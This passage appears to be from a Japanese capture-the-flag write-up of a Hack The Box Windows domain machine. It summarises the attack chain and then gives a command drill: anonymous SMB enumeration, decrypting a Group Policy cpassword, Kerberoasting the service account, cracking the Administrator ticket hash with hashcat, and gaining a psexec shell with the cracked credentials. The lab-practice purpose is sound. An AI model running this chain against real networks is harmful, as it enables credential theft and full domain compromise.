Administrator の資格情報で psexec し、root flag を取得する。
impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116
8. 攻撃の流れまとめ¶
Anonymous SMB
→ Replication 共有を取得
→ Groups.xml から cpassword を発見
→ gpp-decrypt で SVC_TGS のパスワード取得
→ SVC_TGS で Kerberoast
→ Administrator の TGS hash を crack
→ psexec で Administrator shell
drill¶
SMB列挙とReplication一括取得¶
smbclient -L //10.129.13.116/ -N
smbclient -N //10.129.13.116/Replication -c "recurse ON; prompt OFF; mget *"
GPP cpassword復号¶
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
取得した資格情報でSMB確認¶
smbclient -U 'SVC_TGS%GPPstillStandingStrong2k18' -L //10.129.13.116/
Kerberoastとクラック¶
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.129.13.116 -request -outputfile admin_tgs.hash
hashcat -m 13100 admin_tgs.hash /usr/share/wordlists/rockyou.txt
Administratorでシェル取得¶
impacket-psexec Administrator:'Ticketmaster1968'@10.129.13.116